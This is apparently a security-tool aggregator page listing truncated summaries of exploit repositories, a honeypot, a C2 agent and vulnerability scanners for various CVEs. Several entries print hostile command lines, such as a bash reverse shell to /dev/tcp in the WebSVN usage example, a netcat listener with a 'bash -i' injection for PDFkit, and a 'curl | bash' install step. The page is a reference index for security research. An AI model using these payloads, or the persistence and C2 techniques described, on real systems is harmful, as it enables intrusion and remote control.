AlmaLinux 10 : sudo (ALSA-2026:68692)

The remote AlmaLinux 10 host has packages installed that are affected by a vulnerability as referenced in the ALSA-2026:68692 advisory. sudo: Sudo: Policy bypass allows unauthorized program execution via execveat CVE-2026-82474 Bug Fixes and Enhancements: Use canonicalized path if user path...

cupspot-2024-47177

CUPS 蜜罐 概述 本项目实现了一个蜜罐，用于捕获针对 CUPS（通用 UNIX 打印系统）漏洞的利用尝试。具体来说，它旨在监控与 CVE-2024-47177 相关的利用尝试。该漏洞允许通过 PPD 文件中的 FoomaticRIPCommandLine 参数执行远程命令。如果给此参数传递恶意值，它可能被当作用户控制的命令执行，从而导致严重的安全漏洞。 CUPS 和 CVE-2024-47177 CUPS 是一个基于标准、开源的打印系统，广泛应用于各种类 UNIX 操作系统。cups-filters 包为非 Mac OS 系统上的 CUPS 2.x...

FreePBX-CVE-2025-57819-CVE-2025-61678

FreePBX-CVE-2025-57819-CVE-2025-61678 利用 CVE-2025-57819（堆叠查询 SQL 注入）和 CVE-2025-61678（FreePBX Endpoint Manager 中的认证文件上传）实现远程代码执行 RCE。仅用于教育目的。 参考： https://www.picussecurity.com/resource/blog/critical-freepbx-vulnerabilities-cve-2025-66039-cve-2025-61675-cve-2025-61675...

CVE-2022-24638

已在EXPLOITDB上发布：https://www.exploit-db.com/exploits/51026 此版本已修复以避免误报 CVE-2022-24637 用于在Open Web Analytics OWA 1.7.4 中实现未经认证的远程代码执行（RCE）的利用脚本。该工作基于 https://devel0pment.de/?p=2494。 免责声明：此脚本旨在用于系统安全审计。请仅在您自己的系统或您已获得书面授权进行渗透测试的系统上使用此脚本。...

aws-suture

tl;dr root@kitploit: $ git clone [email protected]:pblittle/suture.git $ cd suture $ bundle install $ bundle exec ./bin/suture --help $ bundle exec ./bin/suture check Suture Suture 是一个用于在您的 AWS EC2 实例上运行任意命令的工具。您可以针对单个实例或整个区域运行它。Suture 最初是为了确定我们正在运行的 EC2 实例中是否有任何实例使用了易受 Heartbleed 漏洞影响的...

CVE-2021-32305-websvn-2.6.0

CVE-2021-3205-websvn-2.6.0 这是 CVE-2021-3205 的一个漏洞利用程序，该漏洞是 search.php 路径中的命令注入 Web 漏洞，此利用程序允许执行命令。 依赖 optparse, signal, requests 用法 root@kitploit: ❯ python3 CVE-2021-3205.py --url http://10.0.2.168/websvn/ --payload "bash -c 'bash -i & /dev/tcp/10.0.2.133/443 0&1'" ... ❯ nc -nlvp 443 listening on...

ContextMenuHijack

ContextMenuHijack 这个启发我的原始创意来自 @NinjaParanoid： ContextMenuHijack 是一种基于人类行为、利用 COM 劫持的简单持久化技术：当你在文件资源管理器中右键单击文件/文件夹以打开上下文菜单时，它会在同一时间执行我们指定的 beacon。 root@kitploit: IFACEMETHODIMP FileContextMenuExt::Initialize LPCITEMIDLIST pidlFolder, LPDATAOBJECT pDataObj, HKEY hKeyProgID DWORD tid = NULL;...

gopher47

gopher47 适用于 Havoc 框架的第三方 Gopher 刺客 就像电子游戏一样 :D 这是什么？🤔 这是用 Golang 为 Havoc C2 编写的第三方 agent，主要作为一个学习项目来写，但我相信它仍然有用。 等这篇文章发布时，你可以在我的博客上了解更多关于这是什么以及为什么这么做的内容：这里 欢迎贡献！ 我不打算更新得太频繁，但如果我做得开心，未来可能会加更多东西。 命令 Command| Description| Example ---|---|--- checkin| 返回基本系统信息| checkin shell| 运行命令（通过 Go 的 os/exec 执行...

CVE-2020-27955

Git-lfs 远程代码执行漏洞 CVE-2020-27955 利用（.bat / powershell 版本） 受影响软件：git、GitHub CLI gh、GitHub Desktop、Visual Studio Code、SourceTree、SmartGit、GitKraken 等 发现者：Dawid Golunski https://legalhackers.com https://exploitbox.io 在 Windows 上测试了以下软件： git、GitHub CLI gh、GitHub Desktop、Visual Studio...

CVE-2021-43258

CVE-2021-43258 ChurchInfo 1.2.13-1.3.0 远程代码执行漏洞利用 完整标题| ChurchInfo 1.2.13-1.3.0 远程代码执行漏洞利用 ---|--- 添加日期| 21-11-2022 类别| 远程漏洞利用 平台| php 风险| 安全风险严重 描述| 该 Metasploit 模块利用 CartView.php 页面在创建带附件的草稿邮件时的逻辑漏洞。通过为草稿邮件上传附件，附件会被放置在 ChurchInfo Web 服务器的 /tmpattach/ 文件夹中，任何用户都可以通过 Web 访问该文件夹。通过上传一个 PHP 附件，然后浏览...

CVE-2024-4879-CVE-2024-5217-ServiceNow-RCE-Scanning

CVE-2024-4879 和 CVE-2024-5217 ServiceNow RCE 扫描 使用 Nuclei 和 Shodan Dork 扫描 CVE-2024-4879 和 CVE-2024-5217 ServiceNow RCE 漏洞。 漏洞信息资源 https://www.assetnote.io/resources/research/chaining-three-bugs-to-access-all-your-servicenow-data 使用方法 nuclei -t CVE-2024-4879-Detect-Database-ServiceNow.yaml -l...

CVE-2024-6782-PoC

CVE-2024-6782-PoC Usage: python3 callibre.py --target http://target:8080/ 通过 Calibre 的内容服务器在 Calibre = 7.14.0 中实现未经身份验证的远程代码执行。...

CVE-2023-41425

CVE-2023-41425 CVE-2023-41425 XSS到RCE, Wonder CMS 3.2.0 = 3.4.2 使用方法 root@kitploit: ➜ CVE-2023-41425 python3 exploit.py Enter target URL RHOST, e.g., http://example.com/loginURL: http://redacted.com/loginURL Enter your local host IP LHOST, e.g., 10.10.14.xxx: xx.xx.xx.xx Enter your local web serv...

CVE-2024-3094-check

CVE-2024-3094 漏洞检查工具 该漏洞允许攻击者在不通过 SSH 认证的情况下登录服务器并执行任意代码。详情请参阅：https://www.openwall.com/lists/oss-security/2024/03/29/4 使用 root@kitploit: curl -fsSL https://raw.githubusercontent.com/wgetnz/CVE-2024-3094-check/main/CVE-2024-3094-check.sh| bash 或者 root@kitploit: curl -fsSL...

PDFkit-CMD-Injection

PDFkit-命令注入 CVE-2022-25765 详情 描述 pdfkit 包从 0.0.0 版本起存在命令注入漏洞，原因是 URL 未被正确清理。 PoC 启动 HTTP 服务器 root@kitploit: 1- python3 -m http.server 80 启动 netcat 监听器 root@kitploit: 2- nc -lnvp 'Target Port' 发起请求 root@kitploit: 3- http://"TARGETADDRESS:Target PORT"//?name='%20bash -c 'exec bash -i...

CVE-2022-23642

Sourcegraph Gitserver 3.37.0 RCE 的 PoC CVE-2022-23642 Sourcegraph 3.37.0 之前的版本在其 gitserver 服务上存在一个远程代码执行漏洞。这是由于对 git config 执行缺乏限制，因此可以在 HTTP 参数中传递 "core.sshCommand"，其中可以包含任意 bash 命令。请注意，只有 gitserver 暴露给攻击者时才能利用此漏洞。该漏洞已在 Sourcegraph 3.36.3 上测试。 Docker 测试设置 测试中使用了 Sourcegraph Docker 容器版本...

CVE-2024-6387-Updated-x64bit

CVE-2024-6387-Updated-x64bit 用于 CVE-2024-6387 的私有 x64 RCE 漏洞利用（Python）2024.07.02，来自 exploit.in 该仓库提供了 CVE-2024-6387 漏洞利用的工作变体，支持实时活动 shell、多线程、从文件输入目标以及彩色输出。 🔥 CVSS: 10/10 描述 针对 CVE-2024-6387 的漏洞利用，攻击基于 glibc 的 Linux 系统中 OpenSSH 服务器（sshd）的信号处理器竞态条件。由于 SIGALRM 处理程序中调用了异步信号不安全的函数，该漏洞允许以 root...

CVE-2026-78006-POC

CVE-2026-78006-POC POC para CVE-2026-78006 The Events Calendar = 6.17.4 - Inyección de Objetos PHP No Autenticada a Ejecución Remota de Código CONTACTO telegram para cualquier consulta : @soldout0O 💙 Apoya el Proyecto Si aprecias mi trabajo, considera apoyar el proyecto vía USDT TRC20:...

CVE-2018-7600

CVE-2018-7600 的 POC Drupal RCE CVE-2018-7600 不要忘记将你的地址放入脚本！ 描述： Drupal 7.x 和 8.x 的多个子系统中存在一个远程代码执行漏洞。这可能导致攻击者利用多个攻击向量攻击Drupal站点，从而使站点完全被攻陷。 解决方案： 升级到最新版本的Drupal 7或8核心。 如果您运行的是7.x，请升级到Drupal 7.58。（如果无法立即更新，您可以尝试应用此补丁来修复漏洞，直到您能完全更新为止。） 如果您运行的是8.5.x，请升级到Drupal...

MultiExploit

多服务漏洞扫描器 支持的漏洞与攻击向量 Microsoft SQL Server 漏洞 CVE-2023-21173 ：SQL Server 2022 中的远程代码执行 潜在利用： 弱认证配置 错误配置的服务器主体 xpcmdshell 滥用 高级选项操作 常见漏洞类别 1. 认证绕过 弱/默认凭据 空密码尝试 错误配置的认证机制 2. 服务枚举 FTP 匿名访问 开放的数据库端口 暴露的服务信息 3. 潜在攻击面 MSSQL 远程命令执行 FTP 信息泄露 网络服务指纹识别 目标服务 Microsoft SQL Server FTP 服务 Windows 远程管理 WinRM...